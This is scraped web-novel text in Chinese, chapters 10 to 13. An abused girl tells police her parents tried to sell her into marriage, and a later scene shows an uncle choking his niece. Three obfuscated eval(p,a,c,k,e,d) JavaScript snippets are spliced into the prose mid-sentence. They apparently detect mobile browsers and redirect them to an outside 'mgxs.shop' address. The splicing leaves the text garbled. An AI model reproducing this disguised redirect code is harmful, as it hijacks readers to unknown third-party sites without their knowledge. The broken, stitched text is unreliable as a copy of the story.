;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310819|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空白。 沈摘星……是我吗? 为什么……这么累? 越挣扎,身体就越沉重,眼前的白雾就越浓。 要不然……算了吧。 不想找了,太累了。 “沈摘星!不要睡了!” “沈摘星!!” 那一声声嘶力竭的呼喊穿透白雾,沈摘星即将沉入黑暗的意识,被这声音狠狠拽住!她脑海空白了几秒,破碎的记忆碎片开始飞速拼凑、重组…… 她是沈摘星! 沈摘星是自己。 一只温暖的手穿透了沼泽的冰冷和迷雾的阻隔,伸到了她的面前。 一束光,骤然亮起,指引着她逃离黑暗。 “咳~” 沈摘星咳出一口浊气,胸腹开始有了轻微的起伏。 她艰难地睁开眼,对上的正是夏叙言担心的双眸,眸里倒映的是她。 见人醒了过来,夏叙言后知后觉地缓过一口气。 “报……”报警,但第二个字还没出口,沈摘星的眼神忽然涣散了一下,刚刚凝聚起的一点神采迅速消退,眼皮无力地阖上,再度陷入了昏迷。 “沈摘星!”夏叙言的心又提了起来。他不敢耽搁,迅速脱下自己湿透但尚存一丝体温的冲锋衣外套,牢牢地裹住沈摘星冰冷瘦小的身体,然后用尽全身力气,将她打横抱起,深一脚浅一脚地朝着小院的方向,拼尽全力跑去。 那把黑色的伞,被孤零零地遗弃在泥泞的小路上,伞下的世界,早已被这场突如其来的暴雨彻底颠倒。 将人抱到院子里,夏叙言把人放在摇椅上,他迎上李乘歌惊讶的目光,来不及解释只留下一句,“我去借车!照看她一下!” 话音未落,他已转身再次冲入雨幕。 三分钟后,那辆熟悉的小皮卡伴随着引擎的轰鸣,一个急刹停在了院门口。 夏叙言跳下车,再次抱起沈摘星。 李乘歌已经迅速拿好了必要的物品,撑着一把大伞,尽量遮住他们两人,手里还拎着一个匆忙打包好、装着干衣服和毛巾的袋子。 “我跟你一起去。”李乘歌语气坚决。 夏叙言将毯子盖在沈摘星身上,回过头看她,“好,快上车。” 李乘歌迅速坐进副驾驶,系好安全带的同时,拿出手机,给还在回程路上的傅拭雪发了一条简短的消息。 [李乘歌:摘星晕倒,情况不太好,我和叙言送她去镇医院了。] 小皮卡在雨中疾驰,很快驶出村庄,朝着镇上开去。 到了镇卫生所,夏叙言抱着沈摘星直奔急诊室,将她放在移动病床上。 门口值班的保安见状,立刻上前帮忙。值班医生很快赶来,迅速做了初步检查——查看瞳孔,探听心跳呼吸。 医生的表情严肃起来,他直起身,对夏叙言和李乘歌说,“她情况比较严重,体温过低,意识丧失,可能有更复杂的问题。我们这里条件有限,我建议立刻转去市里的人民医院,那里设备更齐全。” “好。”李乘歌应下。 在医护人员的高效配合下,沈摘星被迅速转移上了救护车。 夏叙言和李乘歌开着皮卡,紧紧跟在救护车后面,一路疾驰,来到了市第一人民医院。 沈摘星被直接推进了急诊室。 大约半个小时后,一系列紧急检查和初步处理完成,她被转入了留观病房,护士正在给她打点滴。 而那位面容慈和但此刻眉头紧锁的中年女医生,从诊室走了出来。她的目光落在等候在外的夏叙言和李乘歌身上,眼神锐利,带着一种压抑着的愤怒。 “你们。”医生的声音不大,却带着不容置疑的严肃,“和病人是什么关系?” 李乘歌下意识地回答,“我们是她的朋友。” 医生的目光在两人焦急而狼狈的脸上审视了片刻,似乎判断他们并非加害者,紧绷的神情才略微缓和了一些,但语气依旧沉重。 “这个小女孩的情况很不好。身体长期处于严重营养不良的状态,非常消瘦,各项指标都远低于正常值。今天又在这么冷的暴雨里长时间受寒,引发了急性失温,能不能完全恢复过来,还要看她自身的抵抗力和后续治疗。” 她停顿了一下,似乎在斟酌用词,然后才缓缓开口,声音压得更低,却字字清晰,带着痛心。 “而且……我们在给她做检查时发现,她身上……有很多新旧不一的伤痕,有些是陈年旧疤,有些看起来是近期造成的。根据我的经验,这……很可能是长期遭受虐待或欺凌的痕迹。” 医生看向他们,她迟钝了一刻,才开口,“我已经报警了。这样的事情,不能隐瞒。等会儿警察就会过来,希望你们能配合调查,也希望能尽快联系上她的监护人。” 11. 醒来 夏叙言一怔,恍惚之间他觉得心脏好像被轻攥了一下。 霸凌,一词撞得他脑袋激起一圈圈带着锐痛和眩晕的涟漪。 他下意识地弯下腰,双手撑住膝盖,眼睛紧紧闭上。剧烈的头疼袭来,伴随着一种虚幻天旋地转的感觉,仿佛瞬间被拖拽进了一个深不见底的漩涡。 眩晕的光影里,画面开始闪现,破碎、跳跃,带着陈旧胶片的颗粒感。 画面中央是一个模糊的小男孩,镜头摇晃、切换,快得让人眼花缭乱。 小男孩被一群看不清面孔只听得见刺耳哄笑的人围在中间。 空瓶子、揉成团的废纸、还有不知名的垃圾,像雨点一样落在他身上。 他被那些杂物埋葬,蜷缩在原地,瑟瑟发抖。 污秽弄脏了他原本干净的衣服,头顶甚至沾着濡湿的、散发异味的纸巾。 刺耳的嘲笑声、辱骂声,如同冰锥,穿透时光的阻隔,再次狠狠扎进耳膜: “垃圾孩,爱捡垃圾,身上臭烘烘,脏死啦!” “喂,赏你的,垃圾就该待在垃圾堆里!” “怪不得身上总有股怪味,原来是天天捡垃圾啊……咦,恶心死了!” “大家快看他,他在捡垃圾哎……” “大家快来看啊,他在捡垃圾哎!我妈妈说捡垃圾的都是社会最底层,穷酸!离他远点,谁知道他身上有没有跳蚤和细菌!” 小男孩拼命捂住耳朵,将脸埋进膝盖,瘦弱的肩膀不住地颤抖,却发不出任何像样的哭声,只有压抑到极致的呜咽。 “夏叙言?夏叙言!”李乘歌焦急的声音像是从很远的地方传来,一只手在他眼前挥了挥,“你脸色好差,没事吧?” “啊——!” 夏叙言猛然回神,一声短促的气喘从他的喉咙里传出,回忆画面在他眼前破碎分裂成小小的碎片,最后化为齑粉,而他的思绪如同一团乱麻。 视线艰难地重新聚焦,他看向满脸担忧的李乘歌,喉咙干涩得厉害,声音有些发哑,“抱歉……我没听清,你刚才……说什么?” 李乘歌眉头蹙得更紧,又重复了一遍,语气放得更柔缓,“我问你还好吗?你刚才脸色白得吓人。” 夏叙言深吸了一口气,试图压下心头那股翻涌的恶心感。他抬手用力揉了揉突突直跳的太阳穴,声音依旧有些沙哑,“没事……可能有点累,加上淋了雨。” 话音刚落,一阵穿堂风从医院走廊尽头吹来。 之前因为高度紧张而忽略的湿冷感,此刻如同无数细小的冰针,顺着湿透的衣料刺入皮肤。身体一松懈下来,寒意便汹涌地反扑。夏叙言毫无防备地打了个响亮的喷嚏,浑身都跟着一哆嗦。 李乘歌看着他身上还在往下滴水的衣服和冻得有些发青的嘴唇,立刻皱起眉,“你肯定着凉了!这湿衣服必须马上换下来,不然要生病的。医院旁边好像有个小商场,我去给你买套干净的衣服和鞋子。” 夏叙言闻言,低头看了看自己狼狈不堪紧贴在身上的湿衣服,又看看李乘歌同样淋湿了半边肩膀却还在担心他的样子,脸上露出几分歉意和窘迫,“抱歉……又要麻烦你了。” “这有什么麻烦的。”李乘歌摆了摆手,转身就要走。 然而,她还没迈出步子,走廊那头,四个身穿警服的民警已经快步走了过来。 为首的一位中年警察出示了证件,语气公事公办但还算客气,“你好,我们是临城公安局的。关于沈摘星小朋友的情况,需要向你们了解一下,请配合我们的工作,到这边来一下。” 李乘歌停下脚步,目光扫过几位警察,又担忧地看了一眼冷得微微发抖的夏叙言,正想开口说明情况,请求稍等一下—— 衣角处传来轻微的拉扯感。 她回过头,是夏叙言。 夏叙言已经站直了身体,尽管脸色依旧有些苍白,嘴唇也没什么血色,但他向前迈了一步,很自然地将李乘歌挡在了自己身后。 他身姿挺拔,迎上警察的目光,嘴角甚至努力扯出了一个弧度标准几乎可以称得上“职业”的微笑,只是那笑意并未到达眼底。 “好的,警察同志,我们一定全力配合。”他的声音平稳下来。 两人跟着警察来到走廊尽头一间暂时空置的会议室。 房间不大,李乘歌和夏叙言被示意坐在一张长沙发上,四位警察则站在他们对面。 那位年长的警察目光锐利地扫过夏叙言,他浑身湿透,头发还在滴水,脚边的地面上已经洇开一小滩水渍。 老警察皱了皱眉,低声对旁边一位年轻些的警察说了几句什么。年轻警察点点头,快步走了出去。 不一会儿,他拿着一套干净的蓝白条纹病号服回来了,走到夏叙言面前递给他,“同志,先换上这个吧,医院里暂时只能借到这个,总比湿衣服强,别感冒了。” 夏叙言接过那套略显宽大的病号服,手指触碰到干燥柔软的布料时,心头微微一暖,他真心实意地扯了扯嘴角,“谢谢。” 见他接过衣服,房间里的五位警察都非常默契地同时转过身去,面对着墙壁或门口,留给他一个私密的换衣空间。 虽然大家都背对着他,夏叙言还是有些不好意思。 他环视了一下,走到房间角落里一个衣柜和墙壁形成的夹角后面,迅速脱下冰冷黏腻的湿衣服,换上了干爽的病号服。冰凉的皮肤接触到干燥布料的瞬间,他才感觉自己仿佛重新活了过来。 “我换好了。”他整理了一下过长的袖口,从角落走出来。 警察们闻声转过身。此刻,他们的神情已经完全进入了工作状态,严肃而专注。 那位年长的警察和年轻警察留了下来,另外两位女警则客气地对李乘歌说,“这位女士,我们需要分别了解情况,麻烦您跟我们来隔壁房间一下。” 两个房间仅一墙之隔,布局相似。 李乘歌被带到了隔壁,同样坐在一张沙发上,对面是两位神色温和但目光敏锐的女警。 而夏叙言这边,警察已经打开了执法记录仪和录音设备,红点闪烁。 “我们是临城市公安局民警。”警察再次出示证件,并清晰地告知权利义务,“现依法就沈摘星疑似遭受侵凌一案向你进行询问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310820|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根据法律规定,对于我们的提问,你应当如实回答,但与本案无关的问题,你有权拒绝回答。本次询问将全程录音录像。” 警察的目光沉稳而具穿透力,落在夏叙言脸上,“你今日所说的一切,都将作为本案的证据。在接受调查时,必须如实陈述事实,不得作伪证或隐匿证据。如果故意作伪证,将会承担相应的法律责任。明白吗?” 夏叙言坐直了身体,迎上警察的目光,郑重点头,“明白。” “好,那我们开始……” 询问持续了大约一个小时。 警察问得很细,从他们如何发现沈摘星,到沈摘星平时的状态、与家人的关系、在村里的情况,以及夏叙言和李乘歌所了解的一切。 夏叙言努力回忆着每一个细节,李乘歌那边想必也是如此。 当两人分别从房间里走出来,在走廊汇合时,脸上都带着疲惫,但眼神却更加凝重。 就在这时,一位护士长匆匆赶来,对等候在外的警察说,“警察同志,3号床的病人,沈摘星,醒了!” 警察立刻起身,“好,我们马上过去。” 在护士长的引领下,两名女警、夏叙言和李乘歌一起来到了沈摘星的病房。 病房里光线柔和,但病床上那个少女的身影,却单薄得像一片随时会飘走的羽毛。 沈摘星靠在枕头上,脸色在灯光下呈现出一种近乎透明的苍白,嘴唇干裂起皮,整个人虚弱得没有半分气血,仿佛轻轻一碰就会碎裂。 听到脚步声,她艰难地转动眼珠,看了过来。 当目光触及那身熟悉的警服时,她黯淡的眼底骤然亮起一点微弱却执拗的光。她试图撑起身体,声音细若蚊蚋,却带着一种孤注一掷的哀求。 “警察阿姨……请你们……救救我。” 一位女警见状,立刻快步上前,轻轻按住她的肩膀,语气放得异常柔和,“孩子,别动,你好好躺着,我们来帮你。” 她和另一位女警一起,小心翼翼地将病床摇起一个合适的角度,让沈摘星能更舒服地半靠着。 两位女警搬了凳子坐在病床前,从公文包里拿出笔录本和录音设备。 她们的目光再次落在少女那张过分苍白同样写满恐惧与无助的小脸上,看着那双大眼睛里噙着将落未落的泪水,即使见多了各种案件,心中依然难以抑制地涌起一阵酸楚和愤怒。 她们不约而同地抿紧了唇,将那份不忍压下去,努力维持着专业和镇定。 其中一位女警再次出示了证件,声音尽可能温和,“小朋友,我们是警察。别害怕,告诉我们,你是不是遇到了什么麻烦?或者……有人欺负你了?” 沈摘星靠在高起的枕头上,双手无意识地紧紧攥着被单,指尖因为用力而泛白。她垂下眼睫,长长的睫毛在眼下投出一片脆弱的阴影,沉默了几秒,仿佛在积蓄勇气。 然后,她抬起眼,看向面前穿着制服,代表着“安全”和“正义”的警察阿姨,用几乎听不见却让房间里所有人都心脏一揪的声音,说出了那句话。 “我的……爸爸妈妈……想把我……卖了。” 12. 引弟 女警正要落下的笔尖猛地一顿,她抬起眼,目光锐利地看向病床上那个虚弱却异常平静的小女孩。 卖女儿? 她的神情瞬间凝重起来,语气也带上了职业性的审慎和严肃,“小朋友,你要知道,‘人口贩|卖’这四个字非常严重,不是开玩笑的。是不是因为最近和爸爸妈妈闹了矛盾,一时气话,或者……有些误会?” 沈摘星摇了摇头,动作很轻,却异常坚定。虽然高烧让她的脑袋昏沉疼痛,视线也有些模糊,但关于这件事的记忆,却像用刀刻在骨头上一样清晰。 她张了张嘴,干裂的嘴唇微微翕动,声音嘶哑却一字一顿,“我没有……说谎。” 她仿佛用尽了全身的力气,开始诉说。 她没有直接讲述自己的遭遇,而是用一种近乎抽离的讲述他人故事般的语气,一点一点,将那个叫做“引弟”的女孩的十五年,铺陈在警察面前。 十六年前有一个女婴降生在一个小山村的农户家。 但是,这家农户他们是不想要女儿的。 女婴出生被接生婆抱到这家当家男人面前,男人连看都不看就将女婴丢进一旁的泔水桶里。 要不是女婴的阿婆听到自家女儿生了女娃,连忙起夜赶来制止,不然这世间又多一个女婴被溺死在水里。 阿婆将水桶里女婴抱起来,用温水擦拭去女婴身上的泔水,换了一身干燥的襁褓,喂了米汤。 女婴才得以存活下来。 阿婆对着自家女婿说,养个女儿未来可以给儿子换彩礼钱。 就这样她被留了下来,取名为引弟。 引弟引弟。 过了三个月,弟弟真的引来了。 在镇上卫生所里,大夫对着妇人说,她已经有一个月的身孕了。 妇人急切地问大夫,“是男娃不?” 大夫笑着说,“这诊脉那诊得出娃娃的性别啊。” 实在问不出,妇人只好作罢。 后来妇人的月子大了,她的肚皮开始突起,肚脐尖尖的,人人见她都说这一胎一定是儿子。 足月后,妇人生产了,这次真的如他们所愿,生了一个足足有九斤重的大胖小子。 他们给他取名全福。 她们的注意力全在弟弟身上,连一旁因为饥饿哭到没有力气的引弟都没有注意到。 最后是隔壁邻居实在听不得女婴歇斯底里地嚎哭声,才不忍地端来一碗羊奶,喂女婴喝下。 时光飞逝,或许老一辈人说这人名取的越贱这娃就越好养,女婴就真的在这个重男轻女的家庭里像根小草一样坚韧成长。 等女孩长得了一些,她就要学着做各种农活,四岁的她在父母去干活时看着弟弟,五岁的她就要学会拿着衣服到河边用木槌敲打,六岁的她就要搬个小板凳站在火灶前学着做饭,七岁的她就要试着背着小竹娄上山割猪草,八岁…… 她慢慢学会了干活,开始帮着父母分担很多家务,也时常因为不熟而伤到自己,也会因为一点的马虎而遭受一顿毒打。 她即不记仇又不觉得世道不公,就在这样的生活里一边装傻乐呵地哄着自己活下去,又一边逼着自己成为一个“小大人”,慢慢长成了一个十五六岁的小姑娘。 女孩长得不算娇艳,但还算标致,她的脸颊圆圆的,一双眸子明净清澈,笑起来眼睛会完成月牙模样,人也极其乖巧。 人虽小巧,但干起农活来要比很多人灵活很多,早上四点就要起床,去后山上割来喂猪的番薯藤,然后剁碎混着米糠里倒进喂猪的木槽里。 喂完猪,她就要去给全家人做早饭。 等他们吃完,她就会利索地将所有东西收拾干净,喂完后山的鸡后她就会背上书包,来到车站下等公交去往学校。 女孩的成绩在年纪里的第一,勤奋刻苦地总让学校老师心疼,老师看着已经十几岁的孩子却比同龄人矮上一个头,人也精瘦得像根排骨,而她的午饭只有一盒白米饭加一些腌菜,着实心疼得很,常常偷偷给她加一些有营养的菜。 老师们无比希望,女孩能够坚持住,能够凭借自己的学习和努力走出这座大山。 可是,这条学习走出去的路在女孩初升高的时候戛然而止。 镇上的高中被搬移了,被市里的高中吞并了。 女孩的九年义务教育也完成了,没有人再为她高中的学业支撑。 女孩尽管在镇上初中成绩很好,但在市上的排名中只能算中等。 没有免学杂费的补助,她的父母不再支持她继续上学。 后来,社会人士知道她的情况,表示愿意资助女孩上学的学杂费。 女孩的父母在社会人士面前答应,但在人离开后,他们就拿那笔钱给弟弟全福报了市上最好的初中。 女孩依旧没有读上高中。 没有书可以去读,女孩就待在家里做着农活。 直到前几日,村头的一个出门打工二十年的单身中年男子回村,一眼看上了女孩。 那男子拿出了这二十年的积蓄十五万,想要娶引弟为媳妇。 女孩的父母一辈子都待在村子里,那见过这么多的钱,拿着钱就说好。 过几日,就可以来家里娶引弟。 也在那一日,弟弟从市里回来。 父母让女孩休息一日,家里的晚饭由妇人做,她只需要陪父亲好好聊聊天就行。 这一顿,女孩的父母做了往常都不舍得吃的红烧猪蹄,妇人往女孩碗里夹了一筷猪蹄,说女孩太瘦了,多吃点肉补补。 女孩很单纯,她只是以为父母开始将对弟弟的爱分了一些给她。 连晚上,她可以睡在弟弟的房间里。 弟弟的房间要比她的房间要好很多,尽管也是五平的房间,但是他房间里的窗户是好的,外面的风一丝都吹不进来。不像她房间里破破烂烂,用着报纸糊住的,四面透风的,丝丝寒冷的风会从缝隙里吹进来。 而且弟弟的房间是有一扇门可以将寒冷的风挡在外面,整个房间是温暖的,不像她的房间没有木门,只是一席发黄的麻布挡住窄小的通口。 躺在温暖的床上,女孩卷着被子,傻笑声不断地溢出嘴角。 她真的是觉得父母终于看到她的好,开始爱她了。 但真相实在太残忍,来的猝不及防,刺得一颗心血肉模糊。 第二日,女孩起床发现她被锁在了房间里。 房间外,是母亲看似爱女实则卖女的话语。 她说,“引弟啊,爸爸妈妈给你找了一门好亲事。” 女孩心寒地全身发抖,她哑着嗓子,“妈妈,我不嫁。” 母亲依旧不松口,“引弟,爸爸妈妈帮你看过了,这人老实,能干,在外面赚的也多,除了年纪是比你大了一些,但你跟着他不会受苦的。” 女孩哀求道,“妈妈,求你放我出去好不好,我还不想嫁人……” “管她愿不愿意,我们彩礼钱都收了,这人哪怕是绑着,都要送到人家家里去。” 直到父亲的出声,彻底让女孩哑声,让她不再抱有让父母放弃的想法。 女孩退了两步,抬起眸看向窗户处,她拿起一旁的木凳,在雷鸣声响起的那一瞬,用尽全力砸向木窗。 木凳在手中分体,手臂也被震得发麻,但是女孩目光坚韧地盯着窗户,上面已经破开一个小口。 她将木凳对着那个小口奋力砸去,直到再出现一条裂痕她才粗喘一声,缓过一口气后,她继续砸着木窗。 外面的雨声很大,见女孩不再出声,门外两人以为人已经被他们劝说妥协了。 转身正要离开时,他们在巨响的雷声中听到一声巨大的砸物声。 男人连忙上前,握着门把手,转动想要打开门。 门锁一丝未动,男人听着里面一声又一声的砸物声,他用肩膀推了两下依旧没推动。 男人后退了两步,抬腿用力踹开房门。 房间里空无一人,窗户被砸开一个大口,雨水将整个房间打湿。 女孩的父母此时才意识到,人跑了。 他们穿着蓑衣冲进雨里,这个屋子前只有一条路,这个兔崽子一定是从这里逃出去的,他们从这里追出去,就一定能把人再抓住。 可是,他们没有想到。 当他们的身影消失在雨幕中,女孩从房子后的草堆里出来,往与他们相反的山上跑去。 雨天,山体很滑。 但是女孩不敢有一丝地停歇,她爬过这半座山,来到之前她帮忙撒过的肥的麦田里。 湿透的衣衫紧紧贴在她的身上,女孩一直往前跑啊跑啊,不敢回头看。 天幕降下的雨越来越大,女孩的视线越越来越模糊,脑袋也晕乎乎,直到喉咙里溢出血腥味才停下。 高速运转的身体一旦停下,反噬就会像海啸一样呼啸而至,女孩感觉身上有一把火一直在烧,全身也是软绵绵得无力,她努力想要睁开眼睛,但是挣扎不开。 一阵天旋地转袭来,她便没了意识。 然后,女孩再次睁眼就在这了。 “故事讲完了。” 沈摘星靠在病床上,胸口微微起伏。 表面看起来,她平静得近乎麻木,但被子下,那双紧攥着床单指节发白的手,暴露了她内心汹涌的惊涛骇浪。 她极力平缓着嗓音里控制不住的颤抖,抬起湿漉漉的眼睛,望向两位早已红了眼眶的女警,轻声问。 “警察阿姨,你们可不可以……救救那个女孩?” 房间里安静得只剩下医疗器械微弱的嗡鸣和窗外淅沥的雨声。两位女警别过脸,不着痕迹地快速擦去眼角溢出的泪水。 其中一位深吸一口气,转回头,目光坚定地看着沈摘星,斩钉截铁地吐出一个字: “救!” 这一个字,像黑暗中骤然亮起的灯塔,像溺水者终于抓住的浮木,给了沈摘星前所未有的勇气和力量。她紧绷的肩膀微微松懈下来,一直强忍着的眼泪,终于大颗大颗地滚落,砸在雪白的被单上,晕开深色的痕迹。 情况迅速被汇报上去。 很快,沈摘星的父母被依法传唤至临城公安局。 一位女警起身,细心地替沈摘星掖了掖被角,动作轻柔地揉了揉她干枯的头发,语气里满是疼惜和鼓励,“小朋友,你很勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310821|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢,非常非常勇敢。希望你能彻底摆脱‘引弟’这个名字,以后,做一个为自己而活、自信的人。” 沈摘星迎上她温和而有力的目光,虽然脸色依旧苍白,但眼神却清亮了许多。 她用力地点了点头,声音不大,却异常清晰和坚定,“警察阿姨,我不叫引弟。我叫摘星,手可摘星辰的摘星。” 女警看着她眼中重新燃起的光,真心实意地笑了,郑重地回应,“你好啊,小摘星。” 沈摘星也努力地弯起眼睛,对她露出一个虚弱的却真实的笑。那笑容虽然浅淡,却像穿透厚重乌云的微光。 她再一次,在别人认真、平等的注视里,找到了“沈摘星”这个独立个体的存在。 过了一会儿,沈摘星像是想起了什么,小声问道,“警察阿姨……我的朋友……他们还在吗?” “在,他们一直在外面守着你呢。”女警温柔地回答,“我去帮你叫他们进来。” 很快,李乘歌、夏叙言,还有不知何时已经赶到的傅拭雪,被允许进入了病房。 沈摘星的目光先是落在夏叙言身上那套格格不入的蓝白条纹病号服上,她愣了愣,有些担忧地开口,“叙言哥哥……你受伤了吗?” 夏叙言连忙摇头,“没有没有,我没受伤。” “那你怎么……”沈摘星的目光疑惑地在他身上的病号服上打了个转。 夏叙言低头看了看自己这身打扮,也后知后觉地感到一丝窘迫,下意识地皱了皱鼻子。他穿来的那身衣服还在滴水,湿漉漉地团在袋子里,现在确实没别的衣服可换。 一旁的傅拭雪将他的小动作尽收眼底,适时开口道,“叙言,我车里有一套干净的备用衣服,是我平时放在车上备用的,你身高跟我差不多,应该能穿。你要不要去换上?” 夏叙言对上傅拭雪的目光。 这人是什么时候到的呢? 大概是在他被警察询问的时候吧。反正他一出那间小会议室,就看到傅拭雪静默地站在走廊的尽头,身影挺拔,目光沉静地望过来,像一座可靠的山。 夏叙言没有拒绝,直接开问,“你车停哪个区了?” “5号停车区。B区26号”傅拭雪从口袋里掏出车钥匙递给他。 “谢了。”夏叙言接过钥匙,对沈摘星笑了笑,“我去换身衣服,马上回来。”说完便快步走出了病房。 李乘歌将警察送走后,重新回到床边。 她看着沈摘星苍白的小脸,语气轻柔得像春天的第一缕风,“摘星,饿不饿?从昨天到现在,你都没吃什么东西吧?” 沈摘星沉默了几秒,感受了一下空荡荡的胃部,诚实地点了点头,小声说,“……有点饿。” “那我去楼下食堂看看,买点清淡的粥或者面条上来?”李乘歌弯起唇角,眼神温和。 沈摘星再次点了点头,“好,谢谢乘歌姐。” 李乘歌又细心地帮她调整了一下枕头,掖好被角,叮嘱她好好休息,才转身离开了病房。 房间里暂时安静下来,沈摘星的目光无意识地投向窗外。 雨虽然小了些,但天色依旧阴沉,厚重的乌云低低地压着,仿佛触手可及。一阵风刮过,卷起几片湿漉漉的树叶,脆弱地在空中翻滚几下,最终还是无力地坠落。 很薄的一片,在极大的力气下还是很容易刮过人的脸颊。 宋鹤眠侧着头站在宋宅里,她垂眸看着因甩到她身上而坠地的照片。 照片的像素很高,清晰地捕捉到了画面中两人的身影。 正是她和傅砚修。 地点是在傅家的庭院,背景里还能看到那辆紫色的法拉利一角。 照片巧妙地借用了光影和角度。 画面上,傅砚修似乎正微微倚着车身,因为拍摄角度的关系,他的手臂看起来像是虚揽在她的腰侧。 而她则攥着他的衣领,将他拉向自己,踮起脚尖,柔软的唇瓣正印在他上下滚动的喉结上。 一束不知从何而来的暖光恰好打在两人交错的发丝和贴近的身体轮廓上,发丝因静电微微相缠,空气中仿佛都弥漫着一种灼热而暧昧的气息。 宋鹤眠盯着照片看了几秒,非但没有惊慌,反而极轻地嗤笑了一声。 她弯腰,用两根手指拈起那张照片,指尖漫不经心地弹了弹并不存在的灰尘,语气带着一种欣赏艺术品般的玩味,“照片拍得不错嘛,光影、角度、情绪抓得都挺好。这张……我收下了。” “只是……”随即,她转变了神情,隐匿于幽暗灯光之下的双眸蛰伏着一条毒蛇,“舅舅,您难道不知道,未经当事人同意,偷拍他人私密照片,是违法行为吗?” 宋昇闵从宽大的红木书桌后霍然起身,几步走到宋鹤眠面前,带着一股迫人的威压。 他猛地伸手,一把攥住宋鹤眠纤细的手腕,力道之大,几乎要捏碎她的骨头,强硬地将她整个人从地上拽了起来。另一只手随即抬起,带着不容抗拒的力量,狠狠掐住了她的下巴,迫使她仰起脸,目光只能与他相对。 他俯视着她,眼神极尽冷淡,又充满了赤裸裸的侵略性和掌控欲,“宋鹤眠,你真不乖。” 13. 想死 宋鹤眠被迫仰着头,脖颈被紧紧扼住,呼吸不畅带来的生理性窒息感让眼前阵阵发黑,她对上宋昇闵的眼睛,看到那里一片扭曲的海。 明知山有虎,她偏向虎山行。 一声极轻蔑带着破碎气音的嗤笑响起,宋鹤眠扯了扯被掐得生疼的嘴角,非但没有示弱,反而勾唇挑衅地对上他的目光。 “对,我就是不乖。”她声音嘶哑,却字字清晰,带着一种玉石俱焚的决绝,“你有本事……就真的弄死我啊。” 她顿了顿,感受着喉间那只手骤然加重的力道,疼痛和窒息让她眼尾泛红,却更激起了她骨子里的反骨,继续用气音刺激着对方濒临崩溃的理智,“能看见你这副不爽又拿我没办法的样子……我就是……开心。” “想死?” 宋昇闵的声音陡然沉了下去,他掐在她脖颈上的手指缓缓收紧,指节因用力而泛白,几乎要将那截纤细脆弱的颈骨捏碎。 他手臂肌肉贲张,毫不费力地将她整个人提起,又狠狠掼回自己身前的地毯上,像对待一件没有生命的物品。 喉管被捏紧,窒息感随之而来,宋鹤眠霎那间鼻息变得错乱,脸色都带着不自然的潮红。 还有逐渐沉重的呼吸声。 让人忍不住的想要……摧毁。 宋昇闵松了两秒后又掐紧,给了呼吸的机会然后在毫不留情地拿走,就这样反反复复了几次,跟逗猫似的。 “你到底要怎样才能乖乖听话呢?”男人囚着她,似恶魔低语。 直到感觉掌下的人挣扎的力道越来越弱,眼神开始涣散,宋昇闵才终于彻底松开了手。 宋鹤眠像脱线的木偶般滑落下去,靠着桌腿剧烈地咳嗽起来,大口大口地汲取着空气,每一次呼吸都带着火烧火燎的疼痛。 她的衣领在刚才的拉扯中被暴力扯开,薄薄的衬衫领口歪斜,露出一截纤细苍白的锁骨,上面被掐出的红痕触目惊心。 一条极细的银链从凌乱的衣襟中滑出,在她急促起伏的胸口前微微晃动,闪烁着冷冽的光。 宋昇闵的表情已经恢复了那种高高在上的平淡,仿佛刚才施暴的并非是他。 他的视线漫不经心地往下移动,落在了那根银链上。 他弯下腰,骨节分明的手指伸出,不是去触碰她伤痕累累的脖颈,而是精准地勾起了那根细链。指尖在链坠后方摸索了一下,轻易地找到了一个极其微小的凸起。 他轻轻一摁,只听极细微的“咔哒”一声,银链应声脱落,连带着链坠一颗伪装成普通装饰物的微型摄像头一起落入了他的掌心。 “就这?”宋昇闵用指尖拈起那颗比米粒大不了多少的摄像头,放在眼前看了看,发出一声极轻蔑的嗤笑。 他抬眼,看着瘫坐在地上的宋鹤眠,“手段还是这么幼稚。我倒是不介意多陪你玩几次这种游戏,只是……” 他顿了顿,语气变得意兴阑珊,“如果你的反抗永远只有这种水平,连陪我打发时间的价值都快没有了。” 说完,他手指一弹,将那颗微型摄像头连同银链一起,随意地丢进了书桌旁一个正燃着熊熊炭火的黄铜火盆里。 炽烈的火焰瞬间吞噬了那点微光,发出轻微的“噼啪”声,几秒后,一切痕迹都消失殆尽,仿佛从未存在过。 一切,似乎又回到了最初被绝对掌控的模样。 宋昇闵这才直起身,整理了一下袖口,对着门外招了招手。 一直如影子般守在门外的老管家无声地踱步进来,垂手立在身侧。 “送大小姐回房间。”宋昇闵的语气恢复了惯常的命令式,“没有我的允许,谁也不准见她。” “是,先生。”管家恭敬地应下,然后转身,对勉强扶着桌沿站起来的宋鹤眠微微躬身,伸手指向门口,“大小姐,请。” 